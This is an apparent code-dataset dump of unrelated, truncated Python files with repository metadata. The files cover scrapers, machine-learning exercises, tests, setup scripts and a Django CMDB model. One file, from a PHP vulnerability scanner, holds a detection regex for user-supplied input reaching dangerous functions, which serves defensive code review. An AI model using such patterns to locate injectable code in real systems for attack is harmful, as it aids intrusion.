LynX-gh/HackerRank-python
52705f423dd564463c67de1b8a2ded49bbef565e
[ "MIT" ]
null
null
null
03 - Strings/Capitalize!.py
LynX-gh/HackerRank-python
52705f423dd564463c67de1b8a2ded49bbef565e
[ "MIT" ]
null
null
null
03 - Strings/Capitalize!.py
LynX-gh/HackerRank-python
52705f423dd564463c67de1b8a2ded49bbef565e
[ "MIT" ]
null
null
null
# Complete the solve function below.
28.4
50
0.626761
# Complete the solve function below. def solve(s): names = s.split(' ') name = ' '.join(t.capitalize() for t in names) return name
0
0
0
0
0
84
0
0
22
13245723e2dda68ad0f4118a95b1a23aac9dde6a
25,424
py
Python
tests/tools/cpp/find_warnings.py
susundberg/arduino-aquarium-feeder
3f243b35e8e27eb4fb551d19fae0b45175a4e23c
[ "MIT" ]
2
2017-11-04T00:09:39.000Z
2020-04-12T08:28:25.000Z
tests/tools/cpp/find_warnings.py
susundberg/esp8266-waterpump
f78a364c4dfec4ebd8fd2a744a190b5e57941479
[ "MIT" ]
1
2020-05-27T10:26:57.000Z
2020-05-27T10:26:57.000Z
tests/tools/cpp/find_warnings.py
susundberg/esp8266-waterpump
f78a364c4dfec4ebd8fd2a744a190b5e57941479
[ "MIT" ]
null
null
null
# Copyright 2007 Neal Norwitz # Portions Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
42.373333
79
0.55542
# Copyright 2007 Neal Norwitz # Portions Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
0
0
0
22,788
0
771
0
-23
338
2266f8b954a983ed3c58cd87ec4a30bca2c1d340
1,750
py
Python
sims/s296/mkreconflux.py
ammarhakim/ammar-simjournal
85b64ddc9556f01a4fab37977864a7d878eac637
[ "MIT", "Unlicense" ]
1
2019-12-19T16:21:13.000Z
2019-12-19T16:21:13.000Z
sims/s296/mkreconflux.py
ammarhakim/ammar-simjournal
85b64ddc9556f01a4fab37977864a7d878eac637
[ "MIT", "Unlicense" ]
null
null
null
sims/s296/mkreconflux.py
ammarhakim/ammar-simjournal
85b64ddc9556f01a4fab37977864a7d878eac637
[ "MIT", "Unlicense" ]
2
2020-01-08T06:23:33.000Z
2020-01-08T07:06:50.000Z
import tables rc('text', usetex=True) Lx = 100.0 Ly = 50.0 B0 = 1/15.0 n0 = 1.0 mu0 = 1.0 elcCharge = -1.0 ionCharge = 1.0 ionMass = 1.0 elcMass = ionMass/25 elcMass = ionMass/25 ionCycl = ionCharge*B0/ionMass start = 0 end = 100 nFrame = end-start+1 tm = zeros((nFrame,), float) flx = zeros((nFrame,), float) count...
20.348837
58
0.562857
import numpy from pylab import * import tables rc('text', usetex=True) Lx = 100.0 Ly = 50.0 B0 = 1/15.0 n0 = 1.0 mu0 = 1.0 elcCharge = -1.0 ionCharge = 1.0 ionMass = 1.0 elcMass = ionMass/25 elcMass = ionMass/25 ionCycl = ionCharge*B0/ionMass start = 0 end = 100 nFrame = end-start+1 tm = zeros((nFrame,), float) flx...
0
0
0
0
0
482
0
-11
90
e8d016a809ef62359bb058fb37178516edf1ec1c
4,798
py
Python
main.py
NairVish/rat-gene-annotation
e9b9f0668b38730cb47c302a30d257f3854e7f6a
[ "MIT" ]
null
null
null
main.py
NairVish/rat-gene-annotation
e9b9f0668b38730cb47c302a30d257f3854e7f6a
[ "MIT" ]
null
null
null
main.py
NairVish/rat-gene-annotation
e9b9f0668b38730cb47c302a30d257f3854e7f6a
[ "MIT" ]
null
null
null
import csv import argparse from sys import exit if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-i', '--input', action='store', type=str, required=True) parser.add_argument('-o', '--output', action='store', type=str, required=True) parser.add_argument('-k', '--api...
35.540741
160
0.647561
import csv import time import requests import argparse from sys import exit from typing import List, Optional, Tuple, Any from bs4 import BeautifulSoup def get_ensembl_data(transcript_id: str) -> Tuple[Optional[str], Optional[str], Optional[str], Optional[str]]: gene_name, gene_desc, gene_type, strand = None, Non...
0
0
0
0
0
2,709
0
16
157
a053594c48b4b655f20976e125386814a1da178f
1,944
py
Python
tests/test_cell.py
billwright/GridPuzzles
9660880748c656d1a9ac6205eff8cfd22555e069
[ "MIT" ]
1
2021-01-14T00:29:52.000Z
2021-01-14T00:29:52.000Z
tests/test_cell.py
billwright/GridPuzzles
9660880748c656d1a9ac6205eff8cfd22555e069
[ "MIT" ]
null
null
null
tests/test_cell.py
billwright/GridPuzzles
9660880748c656d1a9ac6205eff8cfd22555e069
[ "MIT" ]
null
null
null
import unittest if __name__ == '__main__': unittest.main()
32.4
82
0.633745
import unittest from Cell import Cell from Blanking_Cell_Exception import Blanking_Cell_Exception class TestCell(unittest.TestCase): def test_cell_creation(self): cell = Cell('A1', '1234') self.assertIsNotNone(cell) self.assertEqual('A1', cell.address) self.assertEqual('1234', ce...
0
0
0
1,772
0
0
0
38
67
ebaf6c62d58d48f5c9b9b30a6c3488240ae105a8
7,090
py
Python
machine_learning/ml_ch4.py
ivanlevsky/cowabunga-potato
ab317582b7b8f99d7be3ea4f5edbe9829fc398fb
[ "MIT" ]
null
null
null
machine_learning/ml_ch4.py
ivanlevsky/cowabunga-potato
ab317582b7b8f99d7be3ea4f5edbe9829fc398fb
[ "MIT" ]
null
null
null
machine_learning/ml_ch4.py
ivanlevsky/cowabunga-potato
ab317582b7b8f99d7be3ea4f5edbe9829fc398fb
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model import Ridge # ---------------------------The Normal Equation--------------------- # X = 2 * np.random.rand(100, 1) # y = 4 + 3 * X + np.random.randn(100, 1) # # X_b = np.c_[np.ones((100, 1)), X] # add x0 = 1 to each instance # theta_best = ...
37.315789
95
0.591255
import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model import LinearRegression, Ridge from sklearn.metrics import mean_squared_error from sklearn.model_selection import train_test_split from sklearn.pipeline import Pipeline from sklearn.preprocessing import PolynomialFeatures, StandardScaler # --...
0
0
0
0
0
776
0
137
111
922c6d09b01b7f8d5feb3572846faf5f1552685f
577
py
Python
vendor/haproxy-1.9.1/tests/test-sockpair.py
junsulee/c-goof
240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2
[ "Apache-2.0" ]
2
2021-11-25T13:42:35.000Z
2022-02-05T07:58:14.000Z
vendor/haproxy-1.9.1/tests/test-sockpair.py
junsulee/c-goof
240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2
[ "Apache-2.0" ]
null
null
null
vendor/haproxy-1.9.1/tests/test-sockpair.py
junsulee/c-goof
240c979dd014ed3bb9c8dddf5d0e66afb6a8c2f2
[ "Apache-2.0" ]
15
2021-11-24T15:40:54.000Z
2022-03-02T09:17:03.000Z
#!/usr/bin/python """ Python wrapper example to test socketpair protocol ./test-socketpair.py test.cfg use sockpair@${FD1} and sockpair@${FD2} in your configuration file """ import socket, os, sys s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) os.set_inheritable(s[0].fileno(), 1) os.set_inheritable(s[1]....
19.896552
66
0.651646
#!/usr/bin/python """ Python wrapper example to test socketpair protocol ./test-socketpair.py test.cfg use sockpair@${FD1} and sockpair@${FD2} in your configuration file """ import socket, os, sys s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) os.set_inheritable(s[0].fileno(), 1) os.set_inheritable(s[1]....
0
0
0
0
0
0
0
0
0
24f33a3e9b503bf6b6318334720a5eb6ff38c001
224
py
Python
output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/sun_data/elem_decl/abstract/abstract00101m/abstract00101m_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import (Head, HeadType, Member1, Root) __all__ = [ "Head", "HeadType", "Member1", "Root", ]
16
104
0.651786
from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import ( Head, HeadType, Member1, Root, ) __all__ = [ "Head", "HeadType", "Member1", "Root", ]
0
0
0
0
0
0
0
19
0
55bc93f1f28a4d3cfdbf2ceae0689c9e65f3b7d4
10,760
py
Python
cmdb/models.py
proffalken/edison
5bfa941f8876cb8698cd8009c4514bc03d24c109
[ "BSD-3-Clause" ]
3
2015-11-05T07:29:00.000Z
2021-06-17T23:44:17.000Z
cmdb/models.py
proffalken/edison
5bfa941f8876cb8698cd8009c4514bc03d24c109
[ "BSD-3-Clause" ]
1
2016-05-04T10:54:48.000Z
2016-05-04T10:54:56.000Z
cmdb/models.py
proffalken/edison
5bfa941f8876cb8698cd8009c4514bc03d24c109
[ "BSD-3-Clause" ]
null
null
null
# This file is part of the Edison Project. # Please refer to the LICENSE document that was supplied with this software for information on how it can be used. # These are the models required for the basic CMDB # First, Define our list of countries # Now define the counties/States that we can use # Where do ...
34.15873
205
0.683922
# This file is part of the Edison Project. # Please refer to the LICENSE document that was supplied with this software for information on how it can be used. from django.db import models from django.contrib.auth.models import User # These are the models required for the basic CMDB # First, Define our list of countrie...
0
0
0
9,251
0
0
0
29
513
2f2714142396728fd927af9cf97aff6dece18541
1,318
py
Python
brightermonday.py
Simonwafula/Kenyan-Jobsites-Scraper
05589adc2a2253e4bd61de2338ce7c3061afd697
[ "Apache-2.0" ]
null
null
null
brightermonday.py
Simonwafula/Kenyan-Jobsites-Scraper
05589adc2a2253e4bd61de2338ce7c3061afd697
[ "Apache-2.0" ]
null
null
null
brightermonday.py
Simonwafula/Kenyan-Jobsites-Scraper
05589adc2a2253e4bd61de2338ce7c3061afd697
[ "Apache-2.0" ]
null
null
null
from bs4 import BeautifulSoup import requests import sqlite3 conn = sqlite3.connect("output.db") cur = conn.cursor() headers = { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET', 'Access-Control-Allow-Headers': 'Content-Type', 'Access-Control-Max-Age': '3600', 'User-Agent'...
32.146341
96
0.657056
from bs4 import BeautifulSoup import requests import sqlite3 conn = sqlite3.connect("output.db") cur = conn.cursor() headers = { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET', 'Access-Control-Allow-Headers': 'Content-Type', 'Access-Control-Max-Age': '3600', 'User-Agent'...
0
0
0
0
0
0
0
0
0
70cfb9a2c6a526447cb9611d46444aadca43a0be
1,791
py
Python
MyWord2Vec.py
hakimkt/SAIVS
c310bd7c9426f0d21efeea8866cf6b881b7e8530
[ "Apache-2.0" ]
40
2018-10-29T02:29:13.000Z
2021-11-23T13:14:50.000Z
MyWord2Vec.py
5l1v3r1/SAIVS
aa62451665b6398ba329d68592bf4313be60a886
[ "Apache-2.0" ]
1
2021-02-23T12:27:28.000Z
2021-02-23T12:27:28.000Z
MyWord2Vec.py
5l1v3r1/SAIVS
aa62451665b6398ba329d68592bf4313be60a886
[ "Apache-2.0" ]
29
2018-10-29T02:29:17.000Z
2022-03-17T06:31:35.000Z
# -*- coding: utf-8 -*- MODEL_NAME = 'text8' DATA_PATH = 'data\\text8'
37.3125
114
0.537688
# -*- coding: utf-8 -*- from gensim.models import word2vec import os import logging MODEL_NAME = 'text8' DATA_PATH = 'data\\text8' class Word2Vec: def __init__(self, int_count=10): self.int_word_count = int_count def learn_sentense(self): if os.path.exists(MODEL_NAME): ...
12
0
0
1,623
0
0
0
-6
93
131c6ed9e704d68d36f814ce2b61e216c5b751dd
4,159
py
Python
siftOnePixel.py
hakimhassani97/SIFT
b105a0eeb04f7dacd97e96a493bb01e859937098
[ "MIT" ]
1
2021-05-06T15:33:11.000Z
2021-05-06T15:33:11.000Z
siftOnePixel.py
hakimhassani97/SIFT
b105a0eeb04f7dacd97e96a493bb01e859937098
[ "MIT" ]
null
null
null
siftOnePixel.py
hakimhassani97/SIFT
b105a0eeb04f7dacd97e96a493bb01e859937098
[ "MIT" ]
null
null
null
import cv2 as cv2 import numpy as np from collections import Counter #test images # s='add.png' s='lenna.jpg' s='ttt.jpg' #pixel used for SIFT pixelX=200 pixelY=200 #functions #main img=cv2.imread(s) h,w,d = np.shape(img) #convolution matrix c=1 convX=np.zeros((3,3),np.double) convX[0,0]=0;...
28.486301
104
0.576821
import cv2 as cv2 import numpy as np from collections import Counter import math import matplotlib.pyplot as plt #test images # s='add.png' s='lenna.jpg' s='ttt.jpg' #pixel used for SIFT pixelX=200 pixelY=200 #functions def drawContours(img,contours,color): contours=np.array(contours) for i...
14
0
0
0
0
2,797
0
0
294
d9a445fd552ca2fc90e819d34d3f6859d94151a1
895
py
Python
carbon/setup.py
katzj/graphite
e33bf5e035360880c4172a3c2ecb355485d7b172
[ "Apache-2.0" ]
1
2016-07-25T09:45:31.000Z
2016-07-25T09:45:31.000Z
carbon/setup.py
katzj/graphite
e33bf5e035360880c4172a3c2ecb355485d7b172
[ "Apache-2.0" ]
null
null
null
carbon/setup.py
katzj/graphite
e33bf5e035360880c4172a3c2ecb355485d7b172
[ "Apache-2.0" ]
2
2018-03-19T17:49:03.000Z
2018-12-04T02:14:09.000Z
#!/usr/bin/env python import os from glob import glob if os.environ.get('USE_SETUPTOOLS'): from setuptools import setup setup_kwargs = dict(zip_safe=0) else: from distutils.core import setup setup_kwargs = dict() storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]), ('storage/log'...
25.571429
73
0.661453
#!/usr/bin/env python import os from glob import glob if os.environ.get('USE_SETUPTOOLS'): from setuptools import setup setup_kwargs = dict(zip_safe=0) else: from distutils.core import setup setup_kwargs = dict() storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]), ('storage/log'...
0
0
0
0
0
0
0
0
0
faf10b239be49828238fcb5f71856d89bfc15fda
3,376
py
Python
Scripts/netCDF_splitter2var_2D.py
wolfiex/AC_tools
de5b156ddcc01437bf80b4785d6a327b35d67cc6
[ "Unlicense" ]
7
2016-10-20T14:55:07.000Z
2022-03-28T15:35:52.000Z
Scripts/netCDF_splitter2var_2D.py
wolfiex/AC_tools
de5b156ddcc01437bf80b4785d6a327b35d67cc6
[ "Unlicense" ]
44
2016-09-23T14:02:51.000Z
2022-03-24T09:53:50.000Z
Scripts/netCDF_splitter2var_2D.py
wolfiex/AC_tools
de5b156ddcc01437bf80b4785d6a327b35d67cc6
[ "Unlicense" ]
9
2016-10-24T15:33:51.000Z
2021-08-06T17:52:49.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- """ Split off 2D variable from file with other variables Notes ---- - based on software carpentary example. http://damienirving.github.io/capstone-oceanography/03-data-provenance.html """ # Modules to import from netCDF4 import Dataset # add extra's for copied function... ...
25.19403
75
0.635367
#!/usr/bin/python # -*- coding: utf-8 -*- """ Split off 2D variable from file with other variables Notes ---- - based on software carpentary example. http://damienirving.github.io/capstone-oceanography/03-data-provenance.html """ # Modules to import from netCDF4 import Dataset import numpy as np import pylab as pl ...
0
0
0
0
0
0
0
-47
154
b66307882f2392b2f67c3b822cca4c439efe95c5
30,127
py
Python
Ball Handle/base.py
maxbot5/Ball-Handle-Software
fe1b04c3f252a9e6848c2e79601f5633473abb28
[ "MIT" ]
null
null
null
Ball Handle/base.py
maxbot5/Ball-Handle-Software
fe1b04c3f252a9e6848c2e79601f5633473abb28
[ "MIT" ]
null
null
null
Ball Handle/base.py
maxbot5/Ball-Handle-Software
fe1b04c3f252a9e6848c2e79601f5633473abb28
[ "MIT" ]
null
null
null
<<<<<<< HEAD import time import numpy as np import Adafruit_BBIO.PWM as PWM from PixyCam import PixyCam from imu import Imu from servo import Servo from wheel import Wheel from classes import State import constants as cons import threading #import logging import sys from queue import LifoQueue count =0 ball_status_new...
44.898659
184
0.61181
<<<<<<< HEAD import time import numpy as np import Adafruit_BBIO.PWM as PWM from PixyCam import PixyCam from imu import Imu from servo import Servo from wheel import Wheel from classes import State import constants as cons import threading #import logging import sys from queue import LifoQueue count =0 ball_status_new...
28
0
0
27,065
0
0
0
0
184
060da80f798be7d2874ba9bc7f1c914bddfe0970
17,566
py
Python
nailgun/nailgun/network/neutron.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
nailgun/nailgun/network/neutron.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
nailgun/nailgun/network/neutron.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2013 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
37.137421
79
0.5986
# -*- coding: utf-8 -*- # Copyright 2013 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
0
15,583
0
227
0
0
0
289
828
a96304dec6862bdf083752a9af5442f5bd3ef565
1,957
py
Python
tests/encryption_test.py
faradaywallet/faradayapp
db9392aea48946979b974d64db3e856b43bc287f
[ "MIT" ]
null
null
null
tests/encryption_test.py
faradaywallet/faradayapp
db9392aea48946979b974d64db3e856b43bc287f
[ "MIT" ]
null
null
null
tests/encryption_test.py
faradaywallet/faradayapp
db9392aea48946979b974d64db3e856b43bc287f
[ "MIT" ]
null
null
null
from encrypt import Encrypt Encrypt = Encrypt() if __name__ == '__main__': payload_encryption_test()
32.616667
112
0.722024
from encrypt import Encrypt import json Encrypt = Encrypt() def payload_encryption_test(): password = b'testpwd' payload = {'ccnum': '1111222233334444', 'expdate': '09/13/2018', 'cvc': '123', 'notes': 'adding user notes'} salt = Encrypt.generate_salt() print('ENCRYPT\TEST: salt: ', salt) sym_key...
0
0
0
0
0
1,791
0
-10
68
1a0af461995c8249b4ab9f68a503e712e5f4c6f2
1,598
py
Python
SpiralSpline/SpiralSpline.py
sterlingcrispin/Fusion360API
5ef8d2ac9fce5476f8c7501aa213c16f54fd481a
[ "Unlicense" ]
12
2017-08-29T12:41:08.000Z
2022-03-18T13:19:59.000Z
SpiralSpline/SpiralSpline.py
sterlingcrispin/Fusion360API
5ef8d2ac9fce5476f8c7501aa213c16f54fd481a
[ "Unlicense" ]
null
null
null
SpiralSpline/SpiralSpline.py
sterlingcrispin/Fusion360API
5ef8d2ac9fce5476f8c7501aa213c16f54fd481a
[ "Unlicense" ]
5
2019-04-10T09:22:28.000Z
2022-02-15T12:54:39.000Z
#Author-Sterling Crispin #Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be import adsk.core
35.511111
126
0.59637
#Author-Sterling Crispin #Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be import adsk.core, adsk.fusion, traceback import math def run(context): ui = None try: app = adsk.core.Application.get() ui = app.userInterfa...
0
0
0
0
0
1,369
0
14
45
8b7d537952b1acd31cd5604bc842bcbe32faaea9
1,240
py
Python
Misc_TestCode/problem_set_1-3.py
osamadel/Python
6c7e26a96d4b8f875755de98f16eba89e81d94d2
[ "MIT" ]
null
null
null
Misc_TestCode/problem_set_1-3.py
osamadel/Python
6c7e26a96d4b8f875755de98f16eba89e81d94d2
[ "MIT" ]
null
null
null
Misc_TestCode/problem_set_1-3.py
osamadel/Python
6c7e26a96d4b8f875755de98f16eba89e81d94d2
[ "MIT" ]
null
null
null
""" Description : A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment required by the credit card company each month. balance - the outstanding balance on the credit card annualInterestRate - annual interest rate as a decimal monthlyPaymentRate - minimum mont...
32.631579
111
0.756452
""" Description : A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment required by the credit card company each month. balance - the outstanding balance on the credit card annualInterestRate - annual interest rate as a decimal monthlyPaymentRate - minimum mont...
0
0
0
0
0
0
0
0
0
0b23c79247e242a9c10909666bbd15979acc980b
7,058
py
Python
indicators.py
fwd1990man/PHPCodeScanner
d3601820da465513944ff20650558b862f9ccde1
[ "MIT" ]
2
2021-05-19T00:09:22.000Z
2021-05-19T00:09:24.000Z
indicators.py
fwd1990man/PHPCodeScanner
d3601820da465513944ff20650558b862f9ccde1
[ "MIT" ]
null
null
null
indicators.py
fwd1990man/PHPCodeScanner
d3601820da465513944ff20650558b862f9ccde1
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)' # Fun...
48.342466
184
0.638424
#!/usr/bin/python # -*- coding: utf-8 -*- # /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)' # Fun...
0
0
0
0
0
0
0
0
0
76131c72b8636284a0712af7817874865d24b1ea
3,734
py
Python
src/polyswarm/client/engine.py
polyswarm/polyswarm-cli
f783b77180a7436bc993171b46691a223f175260
[ "MIT" ]
2
2021-04-14T01:42:48.000Z
2022-03-12T16:20:23.000Z
src/polyswarm/client/engine.py
polyswarm/polyswarm-cli
f783b77180a7436bc993171b46691a223f175260
[ "MIT" ]
11
2019-10-22T23:23:27.000Z
2021-06-07T21:40:10.000Z
src/polyswarm/client/engine.py
polyswarm/polyswarm-cli
f783b77180a7436bc993171b46691a223f175260
[ "MIT" ]
1
2021-04-26T10:58:01.000Z
2021-04-26T10:58:01.000Z
from __future__ import absolute_import import logging logger = logging.getLogger(__name__)
29.171875
102
0.71023
from __future__ import absolute_import import logging import click logger = logging.getLogger(__name__) @click.group(short_help="Interact with engines.") def engine(): pass @engine.group(short_help="Interact with engine's votes.") def votes(): pass @engine.group(short_help="Interact with engine's assert...
0
3,364
0
0
0
0
0
-9
276
540ebc7352e4bff5af37415803694be42d874d61
8,339
py
Python
rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py
DEVX1/NAOrapp-Pythonlib
d07d7fe304556cad24e7e138df4e41376eacb6a7
[ "Apache-2.0" ]
null
null
null
rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py
DEVX1/NAOrapp-Pythonlib
d07d7fe304556cad24e7e138df4e41376eacb6a7
[ "Apache-2.0" ]
null
null
null
rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py
DEVX1/NAOrapp-Pythonlib
d07d7fe304556cad24e7e138df4e41376eacb6a7
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- #Copyright 2015 RAPP #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at #http://www.apache.org/licenses/LICENSE-2.0 #Unless required by applicabl...
29.996403
82
0.58832
#!/usr/bin/env python # -*- coding: utf-8 -*- #Copyright 2015 RAPP #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at #http://www.apache.org/licenses/LICENSE-2.0 #Unless required by applicabl...
0
0
0
205
0
5,487
0
-43
375
fd1c96698e6f7c7562f10de30edc13bc0b766cbf
15,403
py
Python
pymontecarlo_gui/options/beam/base.py
pymontecarlo/pymontecarlo-gui
1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f
[ "Apache-2.0" ]
null
null
null
pymontecarlo_gui/options/beam/base.py
pymontecarlo/pymontecarlo-gui
1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f
[ "Apache-2.0" ]
2
2016-05-16T10:19:56.000Z
2021-12-29T15:16:20.000Z
pymontecarlo_gui/options/beam/base.py
pymontecarlo/pymontecarlo-gui
1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f
[ "Apache-2.0" ]
null
null
null
"""""" # Standard library modules. from collections import namedtuple # Third party modules. # Local modules. # Globals and constants variables. Position = namedtuple("Position", ("x_m", "y_m"))
28.898687
82
0.652925
"""""" # Standard library modules. import abc from collections import namedtuple import itertools # Third party modules. from qtpy import QtCore, QtGui, QtWidgets import numpy as np # Local modules. from pymontecarlo.options.beam.base import BeamBase from pymontecarlo.options.particle import Particle from pymonteca...
0
156
0
14,164
0
0
0
324
544
46bea9e2fbb3568b36cb4f14630ab5d9663be4d5
826
py
Python
pyrads/Absorption_Crosssections_UV.py
ddbkoll/PyRADS-shortwave
9d86f7dc07bef37f832949a584f0abe2fd3b72c4
[ "MIT" ]
3
2020-12-22T17:39:12.000Z
2021-02-10T12:31:52.000Z
pyrads/Absorption_Crosssections_UV.py
ddbkoll/PyRADS-shortwave
9d86f7dc07bef37f832949a584f0abe2fd3b72c4
[ "MIT" ]
1
2019-11-26T22:53:52.000Z
2021-02-18T13:35:50.000Z
pyrads/Absorption_Crosssections_UV.py
ddbkoll/PyRADS-shortwave
9d86f7dc07bef37f832949a584f0abe2fd3b72c4
[ "MIT" ]
1
2021-05-21T17:55:36.000Z
2021-05-21T17:55:36.000Z
from __future__ import division, print_function, absolute_import ''' Implement UV scattering cross-sections. Either data or fits. ''' ### ----------------------------------- ### Global definitions here ### ----------------------------------- ### Absorption crosssection for CO2 ### based on eqn 6 in Venot+ (2013).
27.533333
122
0.561743
from __future__ import division, print_function, absolute_import import numpy as np from . import phys import os ''' Implement UV scattering cross-sections. Either data or fits. ''' ### ----------------------------------- ### Global definitions here ### ----------------------------------- ### Absorption crosssectio...
0
0
0
0
0
436
0
-18
89
1685731263b74c59bfdef531e9fab0f3fc9420f5
200
py
Python
scripts/item/consume_2434574.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/item/consume_2434574.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/item/consume_2434574.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# Full Moon Damage Skin success = sm.addDamageSkin(2434574) if success: sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.") # sm.consumeItem(2434574)
33.333333
97
0.745
# Full Moon Damage Skin success = sm.addDamageSkin(2434574) if success: sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.") # sm.consumeItem(2434574)
0
0
0
0
0
0
0
0
0
212466f096bb63bb64ea1c7aed334c836bb300b4
4,215
py
Python
engineering/dataset/crawl_codes/cjscrape.py
ningfeiwang/Code_De-anonymization
7c144be4f84eab8d6373ab7608280d80128435d5
[ "MIT" ]
3
2019-09-26T18:52:33.000Z
2020-06-13T10:17:22.000Z
engineering/dataset/crawl_codes/cjscrape.py
ningfeiwang/Code_De-anonymization
7c144be4f84eab8d6373ab7608280d80128435d5
[ "MIT" ]
null
null
null
engineering/dataset/crawl_codes/cjscrape.py
ningfeiwang/Code_De-anonymization
7c144be4f84eab8d6373ab7608280d80128435d5
[ "MIT" ]
1
2021-08-09T09:21:18.000Z
2021-08-09T09:21:18.000Z
#!/usr/local/bin/python # coding:utf-8 import json import os import multiprocessing # returns the URL to download the user submission # scrapes the C/C++/Python files of the given round # main section of script if __name__ == '__main__': script_path = os.path.dirname(os.path.realpath(__file__)) metadatafile ...
37.972973
106
0.541637
#!/usr/local/bin/python # coding:utf-8 from urllib import urlopen from urllib import urlretrieve import json import sys import os import zipfile import shutil import multiprocessing # returns the URL to download the user submission def get_download_url(round_id, problem_id, username): return "http://code.google.c...
0
0
0
0
0
3,212
0
-12
155
2282f6e87cb3130b7496b5870fd8c7852d9ed08b
1,972
py
Python
tests/test_il_medicaid.py
kiwisquash/city-scrapers
38ca372467856853b36ec180c440eef0a0c6ce5b
[ "MIT" ]
1
2019-03-18T03:12:25.000Z
2019-03-18T03:12:25.000Z
tests/test_il_medicaid.py
kiwisquash/city-scrapers
38ca372467856853b36ec180c440eef0a0c6ce5b
[ "MIT" ]
null
null
null
tests/test_il_medicaid.py
kiwisquash/city-scrapers
38ca372467856853b36ec180c440eef0a0c6ce5b
[ "MIT" ]
null
null
null
from os.path import dirname, join from freezegun import freeze_time from city_scrapers_core.utils import file_response from city_scrapers.spiders.il_medicaid import IlMedicaidSpider test_response = file_response( join(dirname(__file__), "files", "il_medicaid.html"), url="https://www.illinois.gov/hfs/About/Boa...
22.409091
88
0.678499
